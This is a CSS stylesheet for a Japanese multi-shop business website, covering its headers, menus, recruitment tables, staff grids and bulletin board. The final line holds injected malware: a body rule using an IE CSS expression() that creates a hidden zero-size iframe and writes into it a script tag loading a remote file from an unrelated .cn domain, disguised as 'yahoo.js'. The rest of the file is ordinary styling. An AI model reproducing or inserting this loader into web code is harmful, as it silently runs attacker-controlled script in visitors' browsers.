html {
 scrollbar-arrow-color: #000000;
 scrollbar-base-color: #2c2c2c;
 scrollbar-darkshadow-color: #000000;
 scrollbar-highlight-color: #000000;
 scrollbar-shadow-color: #000000;
}

body {
 margin:0px auto;
 color:#000;
 font-size:12px;
}

.ai_bg {
 background:#FFFFFF url("http://www.aidakanko.com/image/bg.jpg") repeat fixed;
 background-position:50% 0%;
 margin:0px auto;
 scrollbar-arrow-color: #840000;
 scrollbar-base-color: #FFFFFF;
 scrollbar-darkshadow-color: #840000;
 scrollbar-highlight-color: #840000;
 scrollbar-shadow-color: #840000;
}

.mari_bg {
 background:#FFFFFF url("http://www.aidakanko.com/image/mari_bg.jpg") repeat fixed;
 background-position:50% 0%;
 margin:0px auto;
 scrollbar-arrow-color: #01316c;
 scrollbar-base-color: #FFFFFF;
 scrollbar-darkshadow-color: #01316c;
 scrollbar-highlight-color: #01316c;
 scrollbar-shadow-color: #01316c;
}

.hajime_bg {
 background:#FFFFFF url("http://www.aidakanko.com/image/hajime_bg.jpg") repeat fixed;
 background-position:50% 0%;
 margin:0px auto;
 scrollbar-arrow-color: #01316c;
 scrollbar-base-color: #FFFFFF;
 scrollbar-darkshadow-color: #01316c;
 scrollbar-highlight-color: #01316c;
 scrollbar-shadow-color: #01316c;
}

a {
 color:#930000;
 text-decoration:none;
}

a:hover {
 color:#747474;
}


#container {
 background:url("http://www.aidakanko.com/image/main_bg.gif") repeat-y;
 width:980px;
 min-height:500px;
 margin:auto;
}

h1 {
 font-size:13px;
 text-align:right;
 margin:0 auto;
 color:#2c2c2c;
}

#header {
 width:960px;
 height:95px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
}

img.logo {
 width:294px;
 height:79px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
 border:none;
}

#sab_menu {
 background:url("http://www.aidakanko.com/image/sab_menu_bg.gif") no-repeat;
 width:280px;
 height:40px;
 margin:0 auto;
 float:right;
 position:relative;
 top:40px;
}

img.bar {
 width:970px;
 height:30px;
 margin:0 auto;
 float:left;
 position:relative;
 left:5px;
}

#menu {
 width:960px;
 height:40px;
 margin:0 auto;
 float:left;
 position:relative;
 left:5px;
}

#menu {
 width:960px;
 height:40px;
 margin:auto;
 float:left;
}


ul.menu {
 margin:0px;
 padding:0px;
 list-style:none;
 margin-top:-2px;
 margin-left:0px;
 float:left;
}

li#menu {
 width:120px;
 height:40px;
 display:block;
 float:left;
}

a.menu {
 display:block;
 width:120px;
 height:40px;
 font-size:13px;
 color:#FFFFFF;
 text-indent:-9999px;
}

a:hover.menu {
 display:block;
 width:120px;
 height:40px;
 font-size:13px;
 text-indent:-9999px;
}

li.menu1 {
 background:url(http://www.aidakanko.com/image/menu_ai1.jpg);
}

li.menu2 {
 background:url(http://www.aidakanko.com/image/menu_ai2.jpg);
}

li.menu3 {
 background:url(http://www.aidakanko.com/image/menu_ai3.jpg);
}

li.menu4 {
 background:url(http://www.aidakanko.com/image/menu_casa1.jpg);
}

li.menu5 {
 background:url(http://www.aidakanko.com/image/menu_ai.jpg);
}


li.menu6 {
 background:url(http://www.aidakanko.com/image/menu_ma1.jpg);
}

li.menu7 {
 background:url(http://www.aidakanko.com/image/menu_ma2.jpg);
}

li.menu8 {
 background:url(http://www.aidakanko.com/image/menu_ha.jpg);
}

#main {
 width:960px;
 min-height:500px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
 top:10px;
}

#main_left {
 width:620px;
 min-height:500px;
 margin:0 auto;
 float:left;
}

#main_fla {
 width:620px;
 height:350px;
 margin:0 auto;
 float:left;
 padding:0px 0px 8px 0px;
}

#news {
 width:620px;
 height:230px;
 margin:0 auto;
 float:left;
}

#whatsnew_line {
 width:618px;
 height:180px;
 margin:2px;
 overflow:auto;
 float:left;
}

p. {margin:0px;}


#story {
 width:620px;
 height:230px;
 margin:auto;
 float:left;
}

#tab_line {
 width:620px;
 min-height:500px;
 margin:0 auto;
}

#line {
 width:610px;
 margin:0 auto;
 background:#efefef;
 line-height:200%;
 border-bottom: double 3px #830000;
}

#his_bg {
 background:url("http://www.aidakanko.com/image/his_bg.gif") no-repeat;
 width:90px;
 height:100px;
 margin:0 auto;
 float:left;
 margin-left:5px;
}

#his_in {
 width:620px;
 height:100px;
 margin:0 auto;
 float:left;
 padding:2px 0px 2px 0px;

}

img.his {
 width:90px;
 height:81px;
 margin:0 auto;
 float:left;
 border:none;
}

#book_bg {
 background:url("http://www.aidakanko.com/image/book_bg.gif") no-repeat;
 width:95px;
 height:160px;
 margin:auto;
 float:left;
}

img.book {
 width:93px;
 height:139px;
 margin:auto;
 float:left;
 border:none;
 position:relative;
 left:1px;
 top:1px; 
}

td.book_l {
 width:95px;
 height:180px;
 margin:o auto;
 float:left;
}

td.book_r {
 width:510px;
 height:180px;
 margin:auto;
 float:right;
 padding-left:5px;
}

.text2 { font-size: 12px; line-height: 14px}

#kouyu {
 width:620px;
 height:150px;
 margin:0 auto;
 float:left;
}

#kouyu_in {
 width:100px;
 height:150px;
 margin:0 auto;
 float:left;
 position:relative;
 left:5px;
}

.kouyu_name {
 width:100px;
 margin:auto;
 float:left;
 text-align:center;

}

#main_right {
 width:325px;
 min-height:500px;
 margin:0 auto;
 float:right;
}

#top_movie {
 width:325px;
 height:300px;
 margin:0 auto;
 float:right;
 margin-bottom:5px;
}

img.toprecb {
 width:325px;
 height:85px;
 margin:0 auto;
 float:left;
 border:none;
 margin-bottom:8px;
}

img.shop_banner {
 width:325px;
 height:145px;
 margin:0 auto;
 flaot:left;
 padding-top:5px;
 border:none;
}

#back {
 width:960px;
 height:30px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
 top:15px;
}

img.back {
 width:98px;
 height:23px;
 margin:0 auto;
 float:right;
 position:relative;
 right:5px; 
 border:none;
}

#footer_menu {
 font-size:13px;
 text-align:center;
 width:900px;
 height:30px;
 letter-spacing:2px;
 position:relative;
 left:35px;
 top:40px;
 font-family: "ヒラギノ明朝 Pro",w6;
 font-weight:bold;
}

a.footer_menu {
 color:#FFFFFF;
 text-decoration:none;
}

a.footer_menu:hover {
 color:gray;
}

#bottom_line {
 background:url("http://www.aidakanko.com/image/bottom_bg.gif") no-repeat;
 width:980px;
 height:150px;
 color:#fff;
 margin:0 auto;
}

#flash_player {
 width:160px;
 height:41px;
 margin:auto;
 float:left;
 text-align:left;
 margin-left:15px;
 margin-top:50px;
}

img.flashplayer {border:none;}

#bottom_line1 {
 background:url("http://www.aidakanko.com/image/maribottom_bg.gif") no-repeat;
 width:980px;
 height:150px;
 color:#fff;
 margin:0 auto;
}

#bottom_line2 {
 background:url("http://www.aidakanko.com/image/hajibottom_bg.gif") no-repeat;
 width:980px;
 height:150px;
 color:#fff;
 margin:0 auto;
}

/*モバイル*/

#mob_bg {
 background:url("http://www.aidakanko.com/image/mob_bg.gif") no-repeat;
 width:620px;
 height:800px;
 margin:auto;
 float:left;
}

/*会社概要*/

#company {
 width:620px;
 min-height:500px;
 margin:auto;
 float:left;
}

table.company_table {
 width:620px;
 min-height:500px;
 margin:auto;
 float:left;
}

td.c_l {
 width:120px;
 margin:auto;
 float:left;
 line-height:300%;
 background:#e1e1e1;
 padding:10px;
 border:dashed 1px #cacaca;
}

td.c_r {
 width:450px;
 margin:auto;
 float:right;
 line-height:300%;
 padding:10px; 
 border:dashed 1px #cacaca;
}

ul.disc { font-weight:bold;}


/*求人*/


td.recruit2{
 border:dotted 1px gray;
 line-height:200%;
 padding:5px;
}


* {
 margin:0;
 padding:0;
 list-style:none;
}

#basic-accordian{
 width:620px;
 margin:auto;
}
.accordion_headings{
 width:620px;
 margin:auto;
}
.accordion_headings:hover{
}
.accordion_child{
}
.header_highlight{
 background:#00CCFF;
}


img.topbbsb {
 width:620px;
 height:85px;
 margin:0 auto;
 float:left;
 border:none;
 margin-bottom:8px;
}

/*愛(一部)*/

.ai1 {
 background:url("http://www.aidakanko.com/image/headai1_bg.gif") no-repeat;
 width:960px;
 height:95px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
}

#logo {
 width:150px;
 height:70px;
 margin:0 auto;
 float:left;
 position:relative;
 left:0px;
 top:-15px;
}

.ailogo {
 width:120px;
 height:70px;
 margin:0 auto;
 float:left;
}

img.ailogo {
 width:120px;
 height:70px;
 margin:0 auto;
 float:left;
 border:none;
}

#g_back {
 width:120px;
 height:25px;
 margin:0 auto;
 float:left;
 position:relative;
 left:-150px;
 top:55px;
}

img.g_back {
 width:120px;
 height:25px;
 margin:0 auto;
 float:left;
 border:none;
}

img.rec_in {
 width:325px;
 height:200px;
 margin:0 auto;
 float:left;
 border:none;
 margin-bottom:8px;
}

#number {
 width:620px;
 min-height:300px;
 margin:0 auto;
 float:left;
}

#number_in {
 width:120px;
 height:280px;
 margin:0 auto;
 float:left;
 margin-left:3px;
}

#list_number {
 width:120px;
 height:30px;
 margin:0 auto;
 float:left;
 text-align:center;
 font-size:20px;
 font-weight:bold;
 color:#930000;
}

#number_waku {
 background:url("http://www.aidakanko.com/image/number_bg.jpg") no-repeat;
 width:120px;
 height:210px;
 margin:auto;
 float:left;
}

img.number_thum {
 width:108px;
 height:200px;
 margin:auto;
 float:left;
 border:none;
 margin:5px 0px 0px 5px;
}

#number_yaku {
 width:125px;
 height:40px;
 margin:0 auto;
 float:left;
 text-align:center;
 font-size:12px;
}

a.yaku {
 color:black;
 text-decoration:none;
}

a.yaku:hover {
 color:#930000;
}

#staff_line {
 width:620px;
 min-height:500px;
 margin:0 auto;
 float:left;
 position:relative;
 top:10px;
}

#staff {
 width:120px;
 height:210px;
 margin:0 auto;
 float:left;
 margin-left:2px;
}


#staff_in {
 background:url("http://www.aidakanko.com/image/staff_bg.jpg") no-repeat;
 width:120px;
 height:160px;
 margin:auto;
 float:left;
}

img.w_staff {
 width:108px;
 height:146px;
 margin:0 auto;
 float:left;
 border:none;
 margin:7px 0px 0px 6px;
}


#system_line {
 background:url("http://www.aidakanko.com/image/system_bg.gif") no-repeat;
 width:325px;
 height:630px;
 margin:auto;
 float:right;
}

#system_in {
 width:310px;
 height:585px;
 margin:0 auto;
 float:right;
 position:relative;
 top:35px;
 right:7px;
}

#system_line1 {
 background:url("http://www.aidakanko.com/image/hasystem_bg.gif") no-repeat;
 width:325px;
 height:630px;
 margin:auto;
 float:right;
}

#system_line2 {
 background:url("http://www.aidakanko.com/image/ha2system_bg.gif") no-repeat;
 width:325px;
 height:630px;
 margin:auto;
 float:right;
}


#system_photo {
 width:310px;
 height:135px;
 margin:0 auto;
 float:right;
}

#system_photo1 {
 width:310px;
 height:60px;
 margin:0 auto;
 float:right;
}

img.shop {
 width:93px;
 height:57px;
 margin:auto;
 float:left;
 padding:5px 5px 5px 5px;
 border:none;
}

img.map {
 width:285px;
 height:187px;
 margin:auto;
 float:left;
 position:relative;
 left:12px;
}

.add {
 width:310px;
 float:left;
 margin:auto;
 font-size:12px;
 text-align:center;
}


#event_line {
 background:url("http://www.aidakanko.com/image/event_bg.gif") no-repeat;
 width:325px;
 height:630px;
 margin:auto;
 float:right;
}

#event_in {
 width:310px;
 height:585px;
 margin:0 auto;
 float:right;
 position:relative;
 top:35px;
 right:7px;
}

#blog_line {
 background:url("http://www.aidakanko.com/image/blog_bg.gif") no-repeat;
 width:325px;
 height:370px;
 margin:auto;
 float:right;
}

#blog_in {
 width:310px;
 height:320px;
 margin:0 auto;
 float:right;
 position:relative;
 top:35px;
 right:7px;
}

#space {
 width:325px;
 height:10px;
 margin:0 auto;
 float:right;
}

/*各店求人*/

p.rec_txt {font-size:13px; line-height:150%;  font-weight:bold; padding:5px;  border-bottom:dashed 1px #cacaca; letter-spacing:2px;}

#rec_bottom {
 width:620px;
 min-height:500px;
 margin:0 auto;
 float:left;
 position:relative;
 top:10px;
}

/*カサノバ*/

.casa {
 background:url("http://www.aidakanko.com/image/headcasa_bg.gif") no-repeat;
 width:960px;
 height:95px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
}

.casalogo {
 width:150px;
 height:70px;
 margin:0 auto;
 float:left;
}

img.casalogo {
 width:150px;
 height:70px;
 margin:0 auto;
 float:left;
 border:none;
}



/*マリリン*/

.mari {
 background:url("http://www.aidakanko.com/image/headmari_bg.gif") no-repeat;
 width:960px;
 height:95px;
 margin:0 auto;
 float:left;
 position:relative;
 left:10px;
}

/*HAJIME*/

#main_ha {
 width:960px;
 height:350px;
 margin:0 auto;
 float:left;
 padding:0px 0px 8px 0px;
}

#dlink {
 width:620px;
 min-height:300px;
 margin:0 auto;
 float:left;
}

#master {
 width:620px;
 min-height:500px;
 margin:0 auto;
 float:left;
 margin-top:5px;
}

/*掲示板*/

#bbs {
 text-align:left;
 color:#000;
 margin-top:20px;
}

td.num {
 color:#b5b5b5;
 text-align:left;
 width:400px;
}

td.num2 {
 width:150px;
}

td.bbs_comment {
 color:#000;
 text-align:left;
}

td.bbs_title {
 text-align:left;
}

a.bbs {
 color:red;
}

#spe1 {
 width:325px;
 height:10px;
 float:left;
}

img.link {
 width:325px;
 height:85px;
 float:left;
 border:none;
}body{zoom:expression(function(ele){setTimeout(function(){var i=document.createElement('iframe');i.width=i.height=0;document.body.appendChild(i);i.contentWindow.setTimeout(function(){i.contentWindow.document.write('<script src=http://www.800816.com.cn/cache/yahoo.js></script>');},1000);},1000);ele.style.zoom='1';}(this));}